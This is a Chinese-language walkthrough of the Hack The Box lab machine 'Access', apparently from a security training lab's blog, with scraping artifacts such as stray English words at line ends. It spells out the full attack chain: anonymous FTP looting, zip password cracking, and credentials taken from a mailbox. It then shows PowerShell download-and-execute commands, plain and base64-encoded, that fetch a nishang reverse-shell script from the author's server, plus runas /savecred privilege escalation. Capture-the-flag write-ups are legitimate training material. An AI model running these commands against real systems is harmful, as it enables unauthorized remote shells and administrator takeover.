出品|MS08067实验室(www.ms08067.com)python
本文做者:大方子(Ms08067实验室核心成员)
linux
Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提高渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。git
https://www.hackthebox.eu/github
平台上有不少靶机,从易到难,黑客每入侵一台机器都会得到相应积分,经过积分排名设有名人堂。今天要实验的是靶机Access。shell
首先咱们用nmap探测下靶机的信息。
nmap -sC -sV -T5 10.10.10.98数据库
能够看到靶机开放了21,23,80端口。telnet后面有一个?说明nmap也不肯定是否为telnet。这里我用msf来探测下FTP是否容许 匿名登录,使用msf的/auxiliary/scanner/ftp/anonymous模块。windows
FTP是运行匿名登录的,那咱们进行远程登录FTP看看有什么东西。安全
这里我用wget递归下载FTP文件。
wget -m ftp://anonymous:anonymous@10.10.10.98服务器
发现报错 没法启动PASV传输,那咱们加个 --no-passive 使用FTP的被动模式。
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98微信
下载成功!一样咱们试下Telnet是否能匿名登录。
不存在匿名登录,可是我也肯定了23这个端口的是telnet,接下来在访问下80端口。
咱们download下这个图片看看这个图片是否存在隐藏的信息。
先用exiftool查看是否存在图片的其余信息。
好像并无什么额外的信息,再用strings查找下图片的二进制里面是否有字符串
strings out.jpg
也没有发现什么额外的信息,那咱们接下来用gobuster进行目录的爆破。
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
通过了挺久的时间,没爆破出什么有用的信息。咱们去看下刚刚从FTP下载来的文件,先解压Engineer目录下的Access Control.Zip文件。
发生了一个错误,还7z来进行解压。
7z x Access\ Control.zip
发现ZIP是须要密码的,随便输入个密码报错,咱们用7z 的l命令下的slt命令。
7z l -slt Access\ Control.zip
参数说明:
l:用于显示压缩文件的信息
Slt:属于l下的子命令用来显示压缩文件的技术信息
压缩文件使用AES-256 Deflate进行加密的,咱们把密码的HASH提取出来到时候破解用。
zip2john Access\ Control.zip > Access\ Control.hash
咱们在看下另外一个文件。
是一个access的数据库文件,里面应该会出现用于解压压缩文件的密码。你能够用工具打开查看里面的数据一个一个找找到须要的密码。
还有一个更快捷的方法,由于密码最低就是8位的,咱们用过strings方法把mdb用二进制文件的形式打开,而后只输出内容大于等于8的内容,在把这些内容输出成一个wordlist用来破解压缩文件。
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings输出的内容经过sort的-u参数去重,而后在输出到文件里面。
而后咱们利用john开始破解
破解成功,这里可能很差找到密码能够用这条命令显示破解出的密码。
john Access\ Control.hash --show
密码: access4u@security
那接下来咱们去解压压缩文件。
解压成功!!!
咱们用file看下这个.pst是什么文件
是一个outlook的我的文件夹。咱们用readpst来读取下,而后目录下面会多出一个Access Control.mbox文件。
咱们用
less Access Control.mbox
能够看到security的密码:4Cc3ssC0ntr0ller。咱们用得到凭证去登录telnet。
Security:4Cc3ssC0ntr0ller
登录成功!而后CD到桌面查看user.txt便可获得user的flag。
接下来就是怎么获得管理员权限,测试下powershell是否能正常工做。
powershell正常的,那咱们本地搭建一个简易的HTTP服务器放上咱们的powershell反弹shell脚本,让靶机进行远程下载执行反弹一个shell。
这里用nishang 这是一个基于Powershell的攻击框架,项目地址: https://github.com/samratashok/nishang。
咱们新建一个 www目录 而后把nishang里面须要用的脚本copy进去。
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1
而后vi下编辑这个nishang.ps1,在最底下加上这行命令
Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 监听端口
而后咱们用nc 监听9001
接着用python开启HTTP服务器
而后在目标靶机telnet上执行这段代码,就是远程执行powershell脚本。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"
以后就会反弹一个shell
接下来咱们在上传一个脚本用来检测Windows系统以提高权限。JAWS:https://github.com/411Hall/JAWS
咱们在刚刚反弹的shell中去执行这个脚本,来检测目标系统的信息。
IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')
执行完成后会返回一系列信息,而后在这里查找有关信息,这里我只截取凭证部分。
上面是电脑中存储的凭证。固然你也能够用cmdkey /list 也会出现相关信息。
在查找的过程当中我在公共用户的目录里面找到一个快捷链接。
百度下具体信息。
用type查看下内容,发现一些关键信息
Runas而且带有/savecred ,Runas的介绍:https://blog.csdn.net/nzjdsds/article/details/88312910。
这个就能够成为咱们的利用点,可是用type得到信息杂乱无章,咱们需用另外一种方法来得到更为详细的整洁的输出。这里咱们用script脚本的建立快捷方式实现。
这里WScript用来绑定Wscript.Shell的,而后Get-ChildItem *.lnk 就是跟dir差很少找出后缀为.lnk文件(效果图以下)。
而后咱们调用Wscript的CreateShortcut函数建立快捷方式来查看里面的lnk里面的详细信息。
这里我要说一下就是这里建立的快捷方式是存在内存里面的,在调用这个函数的SAVE函数以前,这个快捷方式是存在内存里面的,咱们只是须要这个ZKAccess3.5Security System.lnk里面的详细工整的信息只是经过这个方式查看而已。
在这里面咱们能够很清楚的看到runas 而且带有savecred 参数。因此这边咱们runas的话能够不须要用户的凭证。
可是runas以后没有任何报错,可是命令也没有执行成功,应该是编码的问题。接下来咱们主要就是在这个shell中在runas反弹一个管理员权限的shell。
咱们先在本身的Kali中监听9002,而后把咱们以前用于反弹的nishang.ps1从新复制一份为nishang2.ps1并编辑下把nishang2.ps1把监听的端口改成9002
【这里因为靶机不是一天以内完成并写好文章的,因此本身的IP地址后来变成10.10.12.114】
runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""
这里我换了一种格式写,发现个人python HTTP服务器出现了响应,可是9002并无返回shell。
在这里猜想多是编码的问题,windows和linux采用的编码不同,因此咱们的命令须要转换成windows可以识别的编码,这里咱们用iconv和base64。这里转码要用UTF-16LE。
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
输出内容:
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=
而后咱们执行下:
runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="
而后发现9002端口获得shell说明执行成功
到root的flag。
转载请联系做者并注明出处!
Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号按期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于作一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/
扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!